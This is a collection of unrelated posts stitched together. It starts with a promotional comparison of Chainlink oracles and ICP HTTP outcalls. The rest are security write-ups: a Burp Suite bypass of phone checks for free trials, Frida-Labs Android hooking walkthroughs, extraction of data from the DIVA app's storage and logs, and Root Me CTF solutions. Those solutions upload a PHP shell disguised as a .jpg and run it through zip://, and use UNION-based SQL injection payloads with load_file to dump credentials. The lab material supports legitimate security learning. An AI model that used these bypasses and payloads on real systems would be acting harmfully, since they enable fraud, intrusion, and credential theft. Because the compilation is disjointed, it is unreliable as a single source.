Abstract

Smart contracts in Web3 require external data for applications like decentralized finance (DeFi) and dynamic NFTs, but most blockchains restrict direct internet access to ensure security and determinism. Two solutions address this: Oracles (e.g., Chainlink), which use off-chain nodes to fetch and verify data, and Native HTTP Outcalls (e.g., Internet Computer Protocol — ICP), which allow smart contracts to directly query APIs. While Oracles like Chainlink are well-suited for high-security use cases, ICP’s Native HTTP Outcalls offer a groundbreaking paradigm that combines decentralization with real-time Web2 interoperability. This paper highlights ICP’s architectural innovation that enables on-chain API calls without off-chain dependencies — an approach that could redefine how smart contracts evolve.

1. Introduction

Smart contracts operate in isolated environments, unable to directly access external data due to blockchain constraints like determinism and consensus. Unlike traditional blockchain models that limit smart contracts’ capabilities, ICP introduces a fundamentally more powerful model by integrating HTTP Outcalls directly into its protocol. This innovation dramatically enhances developer productivity and unlocks new real-time applications natively on-chain. This paper analyzes their technical architectures, security mechanisms, verification methods, philosophical underpinnings, and trade-offs. We explore why Oracles are favored for high-stakes applications, why developers might choose Native Outcalls despite security trade-offs, and how their design philosophies reflect broader Web3 debates.

2. Background

2.1 Oracles (Chainlink)

Oracles act as intermediaries between smart contracts and external data sources. Chainlink, a leading Oracle provider, uses a decentralized network of nodes to fetch data and deliver it to smart contracts via on-chain transactions. The smart contract emits a request as an event, which Oracle nodes monitor, fetch data from an API, and return via a fulfill() callback.

Example: Chainlink Price Feed (Solidity)

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
import "@chainlink/contracts/src/v0.8/ChainlinkClient.sol";
contract PriceFeed is ChainlinkClient {
    using Chainlink for Chainlink.Request;
    uint256 public price;
    address private oracle;
    bytes32 private jobId;
    uint256 private fee;
    constructor(address _oracle, bytes32 _jobId, uint256 _fee, address _link) {
        setChainlinkToken(_link);
        oracle = _oracle;
        jobId = _jobId;
        fee = _fee;
    }
    function requestPrice() public {
        Chainlink.Request memory req = buildChainlinkRequest(jobId,
            address(this), this.fulfill.selector);
        req.add("get", "https://api.coindesk.com/v1/bpi/currentprice/ETH.json");
        req.add("path", "bpi.USD.rate_float");
        sendChainlinkRequestTo(oracle, req, fee);
    }
    function fulfill(bytes32 _requestId, uint256 _price) public recordChainlinkFulfillment(_requestId) {
        price = _price;
    }
}

2.2 Native HTTP Outcalls (ICP)

ICP’s Canisters can perform Native HTTP Outcalls, sending HTTP requests directly to APIs. Subnet nodes execute these requests, validate responses through consensus, and return results to the Canister, eliminating external intermediaries. ICP’s model removes reliance on third-party middleware entirely, achieving what Ethereum and others have only approximated: true Web3 interoperability with Web2 in a fully decentralized environment.

Example: ICP Canister HTTP Outcall (Motoko)

import Http "mo:base/Http";
actor {
    public func getEthPrice(): async Text {
        let request = {
            url = "https://api.coindesk.com/v1/bpi/currentprice/ETH.json";
            method = #get;
            headers = [];
            body = null;
            transform = null;
        };
        let response = await Http.fetch(request);
        return response.body;
    };
}

3. Technical Architecture

3.1 Oracles (Chainlink)

Request Flow: The smart contract emits a request event (e.g., requestPrice()), logged on the blockchain. Oracle nodes monitor these events, fetch data off-chain, and submit results via a fulfill() transaction, validated by a modifier (e.g., recordChainlinkFulfillment).

Execution: Off-chain, with nodes running JavaScript or other logic (e.g., Chainlink Functions).

Example: Chainlink Functions (Off-Chain JavaScript)

const response = await Functions.makeHttpRequest({
  url: "https://api.coindesk.com/v1/bpi/currentprice/ETH.json"
});
if (response.error) throw Error("HTTP request failed");
const price = response.data.bpi.USD.rate_float;
return Functions.encodeUint256(Math.round(price * 100));

3.2 Native HTTP Outcalls (ICP)

Request Flow: The Canister sends an HTTP request via the Http.fetch function. Subnet nodes execute the request, reach consensus on the response, and return it to the Canister.

Execution: On-chain, within ICP’s WebAssembly runtime.

Unlike Oracles that fragment the architecture into on-chain/off-chain layers, ICP’s approach is unified: all logic, including external communication, is handled within the blockchain environment itself, enhancing transparency and auditability.

4. Security and Verification

4.1 Oracles: Robust Security

Chainlink employs three verification methods:

• Trusted Oracles
• Decentralized Oracle Network (DON)
• Proof-Based Oracles: TLS Notary, Zero-Knowledge Proofs (ZKPs), Merkle Proofs

4.2 Native Outcalls: Consensus-Based Validation

Native Outcalls expose Canisters to Web2 vulnerabilities (e.g., API downtime, DNS spoofing). ICP mitigates this through:

• Subnet Consensus
• Rate Limits
• Guards

While ICP does not yet implement cryptographic proofs like ZKPs natively, its consensus-driven HTTP response validation is a unique on-chain alternative that avoids off-chain trust assumptions altogether.

5. Why Native HTTP Outcalls Are the Future of Web3 Interoperability

Native HTTP Outcalls enable true real-time smart contracts — an unprecedented capability in Web3. By avoiding the complexity and latency of off-chain oracle networks, ICP empowers developers to build richer, faster, and more integrated dApps.

Benefits:

• Developer Simplicity
• Synchronous Interaction
• No Third-Party Dependency
• Lower Cost for Infrequent Requests
• Flexibility for Public Data

Trade-Offs:

• Security: Lower
• Verification: No cryptographic proofs
• Scalability: Each Canister makes its own request

6. Why Oracles Are Preferred for Security-Critical Applications

• Robust Verification
• Trust Minimization
• Data Reusability
• Separation of Concerns

7. Use Cases

Oracles:

• DeFi (e.g., Aave price feeds)
• NFTs with verified metadata
• Sensitive applications

Native HTTP Outcalls:

• Prototyping, MVPs
• Public data apps
• Real-time dashboards, games

8. Philosophical Foundations

Ethereum’s model prioritizes strict determinism, often at the cost of usability and innovation. ICP offers a new vision of decentralization — one that does not compromise functionality. Its model demonstrates that blockchains can be both secure and powerful, paving the way for advanced, real-world applications.

9. Discussion

Oracles offer superior security and trust minimization. Native Outcalls offer simplicity and speed. Developers must weigh trade-offs based on:

• Security Needs
• Cost Constraints
• Application Requirements
• Philosophical Alignment

10. Conclusion

Both Oracles and Native Outcalls have their place in the evolving Web3 ecosystem. However, ICP’s architecture marks a transformative shift by enabling smart contracts to directly access the internet with consensus validation. This opens the door for a new class of dApps that were previously infeasible on traditional blockchains. As the demand for real-world interoperability grows, Native HTTP Outcalls on ICP may become the gold standard for smart contract design.

11. References

• Chainlink. (2025). Chainlink Documentation. https://docs.chain.link/
• DFINITY. (2025). ICP Developer Docs — HTTP Outcalls. https://internetcomputer.org/docs/current/developer-docs/integrations/http_requests/
• Chainlink. (2025). How Oracles Work [Video]. YouTube. https://www.youtube.com/@ChainlinkOfficial
• DFINITY. (2025). HTTP Outcalls Explained [Video]. YouTube. https://www.youtube.com/@DFINITY

12. Acknowledgments

This research was inspired by discussions on Web3 data integration and the evolving role of smart contracts in bridging Web2 and Web3 ecosystems. The author thanks the Web3 community for fostering open dialogue.

Imagine signing up for a free trial over and over with the same phone number. It’s not just a dream — I found a flaw in a Free Trial registration system that makes it possible. Today, I’ll explain this vulnerability, focusing on how the system does have phone number validation, but you can easily bypass it with Burp Suite.

The flaw: Weak Validation

When you sign up for a free trial, the system asks for your phone number to send a verification code (OTP). It’s supposed to limit one trial per number, and there is validation in place — specifically, a client-side check to ensure the number looks valid (like it has the right length or starts with a country code, e.g., +12025550123). The catch? This validation happens on your device, not the server.

Here’s where it falls apart: if you intercept the request with a tool like Burp Suite, you can change the number to one you’ve already used, tweak its format (like ++12025550123), and send it to the server. The server doesn’t recheck the number properly — it just trusts the request and sends a new OTP. Free trials, unlimited.

How to Do It: Simple Steps

Here’s how to bypass it on a site like https://example.com/trials:

1. Go to the Free Trial page and enter a new phone number (e.g., +12025550123).
2. Click “Send Verification Code.” The client-side validation checks if it’s a valid format and lets it through.
3. Use Burp Suite to intercept the request before it hits the server.
4. Swap the number for one you’ve used before, but change the format (e.g., ++12025550123).
5. Send the request. The server skips any deep validation and sends an OTP to the old number.
6. Enter the code, get your trial, and repeat forever.

The client-side validation is useless once you intercept the request — it’s like locking the front door but leaving the back wide open.

Why It’s a Big Deal

This flaw causes trouble:

• Unlimited Trials: You can keep getting free trials without paying.
• Money Loss: The company loses out on subscription cash.
• Fake Accounts: One number can create tons of profiles.
• Big Risk: Bots could automate this and make thousands of trials fast.

It’s a small oversight with a huge cost.

How to Fix It

The fix is straightforward:

1. Move Validation to the Server: Don’t just check the number on the user’s device — verify it on the server too.
2. Clean Up Numbers: Use a tool like libphonenumber to turn all formats (e.g., +12025550123 or ++12025550123) into one standard (like +12025550123).
3. Block Repeats: Check if the normalized number was used before, and stop it from getting another trial.
4. Limit Requests: Cap how many times a number or IP can ask for codes.

These steps kill the bypass dead.

Before we dive into the challenges, it’s important to understand the underlying concepts.

How Do Classes Load in Android?

📌 Non-static methods:

• Require an instance of the class to be called.
• The class gets loaded into memory only when an object is created (Lazy Loading).
• These require an instance of the class to call the method. Therefore, the app needs to start first in order to create the instance before we can inject the script.

📌 Static methods:

• Belong to the class itself, not an instance
• These do not require an instance, and can be accessed directly through the class itself. As a result, we can inject the script at any time after the class is loaded into memory (even if the app is already running).

📊 Frida Hooking & Memory Behavior

📝 Frida 0x1 — Static Function Hooking

🎯 Challenge Objective

The application verifies user input using a function called check(i, i2). This function compares a random number (i) generated by get_random() with the user-provided input (i2). If the condition (i * 2) + 4 == i2 is met, it reveals a flag.

Our Goal:

1. Analyze the app’s logic using JADX.

2. Use Frida to bypass the check and retrieve the flag.

🔍 Analyzing the Code with JADX

By decompiling the APK with JADX, we find the following logic in onCreate():

Here:

1. i2 is entered by the user.
2. i is a random number generated by:

The check(i, i2) function verifies the condition:

🔎 Breaking It Down

For check(i, i2) to return true, the user must enter i2 with value equals

(i * 2) + 4, Since i is random, the user cannot predict the correct i2

🚀 Exploiting the Application Using Frida

Method 1: Directly Calling check() with the Correct Values

Instead of manually guessing i2, we can use Frida to directly execute check() with valid values:

Method 2: Hooking check() to Always Pass

To avoid worrying about the random i, we can hook check() and modify i2 dynamically:

Method 3: Hook get_random() to Control i

Instead of a random number, we override get_random() to always return4:

✅ Final Execution

1. Run Frida with the script:

frida -U -f com.ad2001.frida0x1 -l hook.js 

• Open the app and enter 12 in the input field.
• The flag is revealed in the TextView.

🎯 Frida 0x4 — Hooking Non-Static Methods & Memory Loading

🛠 Challenge Overview

In this challenge, we’re analyzing the Check class inside the com.ad2001.frida0x4 package. It contains a method:

Our goal is to retrieve the hidden flag inside the get_flag() method using Frida.

🔎 Step 1: Identifying Static vs. Non-Static Methods

• The method get_flag(int a) is non-static.
• This means that we cannot call it directly from the class; instead, we must create an instance first before calling it.

🚀 Key Difference from Previous Challenges:

• If get_flag() were static, we could call it like this:

Java.perform(function() {
    let ref = Java.use("com.ad2001.frida0x4.Check");
    console.log(ref.get_flag(1337));
});

BUT, since it is a non-static method, we must create an instance first.

💻 Step 2: Writing the Frida Script

Since get_flag() is a non-static method, we must create an instance before calling it:

🧠 Why Do We Create an Instance?

• Non-static methods belong to an instance of a class, not the class itself.
• Dalvik/ART Lazy Loading: Classes are not loaded into memory until needed, so creating an instance ensures it’s available.
• Unlike static methods, which are accessible via ClassName.methodName(), non-static methods require an object to be invoked.

Frida0x5 — Non Static Function Hooking in MainActivity

🔍 Overview

We need to extract a flag from an Android app using Frida. The flag is decrypted in flag(int code), but we can't create a MainActivity instance manually due to Android's lifecycle. Instead, we hook a running instance.

📌 Step 1: Reverse Engineering

Using JADX, we find:

Decryption in flag(int code), triggered if code == 1337.

AES/CBC/PKCS5Padding encryption with:

• Key: "WILLIWOMNKESAWEL"
• IV: new byte[16] (all zeroes).
• Encrypted Data: "2Y2YINP9PtJCS/7oq189VzFynmpG8swQDmH4IC9wKAY=".

When working with Frida, a common approach is to use Java.use("com.ad2001.frida0x5.MainActivity") to create an instance. However, this doesn't work because:

there is non-static method in the MainActivity Class, so we need to find instance for MainActivity Class

Why We Can’t Create an Instance of MainActivity?

1️⃣ Android Manages Activity Instances → Android handles MainActivity lifecycle, so creating a new instance (new MainActivity()) wouldn't link it to the system correctly.

2️⃣ Needs a Valid Context → MainActivity relies on system resources (UI, services). A manually created instance won't have a proper Android context, causing failures.

Solution: Find an Existing Instance Using Java.choose()

Frida0x7 - Hooking Non-Static Functions in MainActivity with External Class Parameters

This challenge introduces an extra layer of complexity by requiring an instance of the Checker class with specific values (A.num1 > 512 && 512 < A.num2) addition to MainActivity Instance, before the flag() method decrypts the flag.

🎯 Challenge Goal

The challenge involves bypassing the conditions in an Android app that decrypts a flag using AES encryption, but only if specific conditions are met. Our goal is to retrieve the flag by bypassing these conditions using Frida.

🔍 Solution Using Frida

• We use Java.choose() to find the running instance of MainActivity.
• Then, we create an instance of Checker, set the required values, and pass it to flag() because
• Once called, flag() decrypts the flag using AES.

🛠 Why Do We Need to Create an Instance of Checker to Call function: flag() ?

he method flag(Checker A) in MainActivity requires an instance of Checker as a parameter. If we don’t pass this instance correctly, the function cannot execute properly.

We Can’t Use the MainActivity Instance Instead

• MainActivity and Checker are completely different classes.
• The instance we find using Java.choose("com.ad2001.frida0x7.MainActivity") is for MainActivity only.
• Checker must be created separately because it’s not automatically instantiated inside MainActivity.

🔍 Step 2: Finding MainActivity Instance

Since we cannot manually instantiate MainActivity, we need to use Frida to search for a running instance. We do this using Java.choose().

🛠 Step 3: Creating an Instance of Checker

To call flag(Checker A), we must create an instance of the Checker class and set the required values before passing it to the method.

🏴 Step 4: Writing the Frida Script

The following Frida script finds a running instance of MainActivity, creates a Checker instance, assigns the required values, and calls the flag() function.

🔑 Key Findings

• The flag() method decrypts a Base64-encoded AES string only if: A.num1 > 512 && 512 < A.num2
• Meaning num1 and num2 must both be greater than 512., Checker is a class that takes two numbers as input.

Method 1: Create a New Checker Instance and Inject It

🔹 Explanation:

• Java.choose() finds an active MainActivity instance.
• We pass parameters to newChecker(1024, 1024) Checker Class Constructor
• The flag function is called on the instance of MainActivity, and the new Checker instance (newChecker) is passed as an argument.

Method 2: Override the Checker Constructor

By relying on overriding the constructor in the Checker class, we will not need to find the MainActivity instance.

This is because the constructor is in the Checker class, not the MainActivity class, Therefore, we can directly modify how Checker instances are created, without having to interact with MainActivity at all.

🔹 Explanation:

• This modifies the constructor to always use 1024, 1024.
• Every Checker instance created in the app will pass the check.

🛠 Frida0x8 — Hooking Native Functions in Shared Libraries

🎯 Challenge Goal

The challenge involves an Android application that verifies user input using a native function cmpstr(). Our goal is to bypass this check and obtain the correct input (flag) using Frida.

1️⃣ cmpstr() — Native Function:

This method is declared as native, meaning it's implemented in a native C/C++ library (frida0x8.so).

• It returns an integer (1 if correct, otherwise 0).
• We need to bypass this function to always return 1 or extract the correct input (flag).

App Behavior:
The app takes user input (ip), It passes this input to cmpstr(ip).

• If cmpstr() returns 1, it displays: YEY YOU GOT THE FLAG <input>, Otherwise, it shows "TRY AGAIN".

Our goal is to either:

• Hook cmpstr() to always return 1 (indicating the input is always correct).
• Extract the correct flag by inspecting the logic of cmpstr().

Method 1: Analyzing the Library in Ghidra

Now that we have libfrida0x8.so, we use Ghidra (a reverse engineering tool) to inspect its code.

1. Open Ghidra and Import the .so File
2. Look for Java_com_ad2001_frida0x8_MainActivity_cmpstr
3. Check the Logic

• If it compares the input to a hardcoded value, we can extract the correct answer.
• If the flag is encoded, we need to debug it.

Breakdown:

• param_3 is a Java string that’s passed into the native C/C++ function.
• The function converts param_3 (the Java string) to a C-style string using _JNIEnv::GetStringUTFChars().
• The function compares the user’s input to a shifted version of the string "GSJEB|OBUJWFMBOE~" It shifts each character by -1 → FRIDA_NATIVE_LAND
• you can exploit it and put FRIDA_NATIVE_LAND it’s the correct password

Note: you can know function name from Ghidra

Also can use Frida Modules instead Ghidra to know function name, address

🚨 Disclaimer: Do not hardcode function addresses in Frida scripts. Due to ASLR (Address Space Layout Randomization), function addresses change every time the app runs. Instead, use Module.getExportByName()

Hooking Script

Why Java.perform Doesn't Work in This Case?

Java.perform is used to hook Java methods only. It works within the Java runtime and interacts with Java objects. However, our target function cmpstr is inside a native library (.so file), which Java treats as a black box.

From Java’s runtime environment

• The cmpstr function takes only one string (user input).
• However, inside the .so file, cmpstr also uses another hidden string that Java doesn’t see.
• Since Java.perform hooks only Java APIs, it won’t capture the hidden string—only the user input.

Why is this a problem?
If you try to hook cmpstr using Java.perform, all you can print is your own input—which is useless since you already know it. The real logic is hidden inside the native code (.so file).

How to Bypass This Limitation?

✅ Use Frida’s Interceptor.attach → This allows you to hook native functions inside the .so file instead of just Java.

Method 2: Java Hook (Bypassing cmpstr)

Instead of guessing the correct input, we can modify how cmpstr works using Frida, a powerful Android dynamic analysis tool.

🔴 Easy but Weak Method: Java Hook (Surface-Level Bypass)

This forces cmpstr to always return 1, bypassing the validation.

Weakness: This does not help in real-world challenges where additional security checks exist.

Feel Free to Connect my Linkedin

References

Frida-Labs Repository

GitHub - DERE-ad2001/Frida-Labs: The repo contains a series of challenges for learning Frida for Android Exploitation.

Frida CodeShare is an online platform for sharing Frida scripts and collaborating on security research.

Frida CodeShare

📌Common Causes of Insecure Data Storage

1. Storing Sensitive Data in Plaintext

Example: Storing passwords, API keys, or tokens in SQLite databases, Shared_Prefs, or local files without encryption.

2. Improper Use of Android Storage Mechanisms

• Internal Storage: More secure but can be accessed if the device is rooted.
• External Storage (SD Card): Can be accessed by any app, leading to data leakage.

3. Hardcoded Secrets in the App Code

• Example: Hardcoding API keys or credentials in the source code (strings.xml, Java/Kotlin files).

4. Improper Cryptographic Storage

• Example: Using weak encryption algorithms (e.g., MD5, SHA-1) or storing encryption keys alongside encrypted data.

5. Unsecured Database Storage

• Example: Storing user credentials or financial data in an SQLite database without encryption

Bypassing Insecure Data Storage Protection on Android

Many Android applications store sensitive user data in various locations on the device, such as:

• Shared Preferences (/data/data/<package_name>/shared_prefs/)
• Databases (/data/data/<package_name>/databases/)
• Temporary Files (/data/data/<package_name>/cache/)
• cache/ (temporary files)
• External Storage (SD Card) (/storage/emulated/0/)

If an app doesn’t use proper encryption or security measures, an attacker with root access can extract this data and potentially exploit it. This write-up explains how to access sensitive files stored by Android apps.

Accessing Shared Preferences (XML preference storage)

Extracting Credentials from file jakhar.aseem.diva_preferences.xml package name from Diva APK

This XML file likely contains user settings and stored credentials.

We can see the credentials

• The username is stored as "user"
• The password is stored as "user"

The credentials are in plaintext, making them easy to steal.

The code snippet (shared_prefs)

Accessing Databases (SQLite databases) (In Diva APK)

Listing Database Files in databases Dir

This confirms that the app uses multiple database files:

• divanotes.db: Likely contains user notes.
• ids2: Might store authentication-related data.
• The ids2-journal files store temporary transactions for database consistency.

To check if sensitive data is stored in plaintext, we attempt to read the ids2 database file.

Command:

generic_x86_64:/data/data/jakhar.aseem.diva/databases# cat ids2

Output:

Z�ZKstablemyusermyuserCREATE TABLE myuser(user VARCHAR, password VARCHAR)W--ctableandroid_metadataandroid_metadataCREATE
user1user1

In this case, the output you see when trying to cat the ids2 file is indeed not readable because it’s in a raw binary format.

To actually make sense of it, you need to use a tool like sqlite3, which is made for working with SQLite databases. This way, you can open the file, look at its structure, and read the data properly.

The code snippet (databases)

Storing Sensitive Data in Cache or Temporary Files

In some cases, sensitive data can be inadvertently saved in the cache directory or stored as temporary files, as seen in this scenario. While cache and temporary directories are meant for non-essential, short-term data, developers may unintentionally store sensitive information such as session tokens, user credentials, or other private data in these locations.

The code snippet (Temp file)

Storing Sensitive Data in SDCard

Accessing the SD Card Directory path /sdcard and use command ls -la

The code snippet (SDcard External Storage)

Mitigation Measures:

To prevent insecure data storage, it’s important to:

• Encrypt sensitive data before storing it.
• Avoid storing sensitive data in shared preferences, plain text files, or unsecured databases.
• Use Android’s KeyStore for storing cryptographic keys.
• Implement proper access controls for sensitive data on external storage.

Insecure Logging

Insecure logging is a security vulnerability that occurs when sensitive information is improperly logged by an application. This can lead to data leakage and unauthorized access if logs are exposed or accessed by attackers.

Bypassing Insecure Logging Protection

Step 1: Identifying the Running Process

To find the process ID (PID) of the DIVA application, we use the ps command:

ps | grep <package_name>

Step 2: Extracting Logs for the Application

Now that we have the PID (3285), we can filter logs related to this process using logcat:

logcat | grep 3285

🔍 Purpose:

• This command captures logs specifically from the DIVA application.
• If the application logs sensitive data (such as passwords, tokens, or API responses), an attacker can retrieve it.

Potential Exploitation

If the application logs contain sensitive information, an attacker can: ✅ Extract user credentials from logs.
✅ Capture API keys or authentication tokens.
✅ Analyze system behavior and find further security flaws.

Mitigation Recommendations

• Avoid logging sensitive data (e.g., usernames, passwords, tokens).
• Use proper log levels (disable verbose logging in production).
• Restrict access to logs using file permissions and secure storage.

feel free to connect me on Linked-in

Hey Hackers!

I just finished this CTF challenge on Root Me, and I wanted to share how I solved it. It was all about Local File Inclusion (LFI), and here’s how it went down!

The Challenge LFI from FileUpload

So, the challenge had a web app with a file upload feature. My goal? Upload a sneaky PHP shell to grab a hidden flag. Sounds easy, right? Well, not quite! They were filtering certain file types, which made it tricky.

Creating the Shell

I wrote a simple PHP script to list all files in the current directory to see if the flag file exists

<?php
$scan = scandir('.');
foreach($scan as $file) {
    echo $file . "<br>";
}
?>

Uploading the File

Now, I faced the restriction: only .jpg files were allowed.

I zipped my PHP shell, you can use Linux for this by command

zip a.zip a.php  # a => refer my file name

we will change the .zip file to .jpg (the extension is not important because the byte header of the file will tell the OS the correct format of the file). This way, it could slip past the filters

mv a.zip a.jpg

Now we need to know the path of uploaded shell

just open source page

After I uploaded my .jpg file (which was actually a zipped PHP shell), I needed to execute it. To do this, I crafted a specific URL using a trick with the zip:// wrapper.

zip://tmp/upload/path_ZipFile.jpg#shell_file

?page=zip://tmp/upload/w3uBAEoo0.jpg%23a

In this case, the path zip://tmp/upload/path_ZipFile.jpg#shell_file refers to a file within a ZIP archive, Although the file has a .jpg extension, it's actually a ZIP archive.

The zip:// protocol allows accessing the contents of the ZIP without extracting it, and #shell_file specifies the exact file inside the archive.

Note: You do not need to add the.php tail to the end (because the server will default to the file tail that is .php but if you enter it will be Attack Detect :v)

lets see the results

there is a file called flag-mipkBswUppqwqlqq9ydO.php

This allowed me to see the contents of the directory and confirm if the flag file was present.

After confirming that the flag file existed, I updated my script again to read the flag:

<?php 
$flag=file_get_contents('flag-mipkBswUppqwXlq9ZydO.php'); 
echo $flag; 
?>

finally, open the source page you will find the flag

Useful Resources:

• PayloadsAllTheThings/File Inclusion at master · swisskyrepo/PayloadsAllTheThings
• File Inclusion/Path traversal | HackTricks

Feel free to connect me on LinkedIn

In this challenge, the goal is to exploit an SQL injection to retrieve admin password.

Finding the Injection Point

The first step was to investigate the login page, which is a common entry point for SQL injection attacks.

it was evident that the input fields on the login page are not vulnerable to SQL injection.

After confirming that the login page was secure, I shifted my focus to other parts of the application. The breakthrough came when I identified the ‘id’ parameter as the potential injection point.

To test this, I manipulated the ‘id’ parameter by injecting a single quote (') into the URL, like this:

good, the server returned error message let’s try to analyze it

Analyzing the Error

The error message indicates a syntax problem in the SQL query, specifically around the \' at line 1. The backslash (\) before the single quote (') shows that the application tried to escape the quote. However, this escaping didn't work properly, leading to an incorrect SQL query.

now we need to know the number of columns in the DB

1 order by 4 --

if you tried more than 4, there is an error will arise

Using ORDER BY in SQL injection testing is a technique to determine the number of columns in the result set.

Payload

we need to inject the parameter with invalid or non-existent value used to ensure that the original query’s condition is false, like 1=2 or any non-exist value like -1

This prevents the original query from returning any result.

-1 UNION SELECT null,null,null,version() -- # we need to know the vendor of DB

Maria DB this is the database vendor now we need to search about the cheat sheet to know the syntax for this DB

MariaDB Standard Developer Cheat Sheet | MariaDB

table_name Query

-1 UNION SELECT 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database()--
-- group_concat function allows to concatenate values from multiple rows into a single string
-1 UNION SELECT 1,2,3,table_name from information_schema.tables where table_schema=database() limit 0,1 --

table_name is **member**

column_name Query

-1 UNION SELECT 1,2,3,group_concat(column_name) from information_schema.columns where table_schema=member--

it’s not confirm the table name, mostly the application may be apply encoding or obfuscating input data, to ensure they conform to expected formats or constraints, thereby preventing malicious data from being processed.

this mean if we convert the table name to hex-decimal it will probably work

columns names:

member_id, member_login, member_password, member_email

now we will print the columns content

-1 UNION SELECT 1,2,3,group_concat(member_password, member_login) from member--

VA5QA1cCVQgPXwEAXwZVVVsHBgtfUVBaV1QEAwIFVAJWAwBRC1tRVA

it’s sounds the password but encoded, but no if you try to encode it the output will be Obfuscated data

what is the Challenge name? read-file

this is a great hint

We will use the load_file() function to render that file, because we have the addlash() filter quote function so we can not type the file name into it so we have to encode the hex code. But note the absolute path to the file in rootme is “/challenge/web-serveur/ch31/index.php

-1 UNION SELECT 1,2,3,load_file(0x2f6368616c6c656e67652f7765622d736572766575722f636833312f696e6465782e706870)--

now we have the source code of index.php, We just need to pay attention to this important place to be able to solve the problem.

This means that our password is to be equal to

stringxor($key, base64_decode($data['member_password']))

We already have a member_password and now we just need to use the stringxor() function to decode the password earlier!

let’s take it to vscode

output: 77be4fc97f77f5f48308942bb6e32aacabed9cef

now you can decode it (SHA-1)

flag: superpassword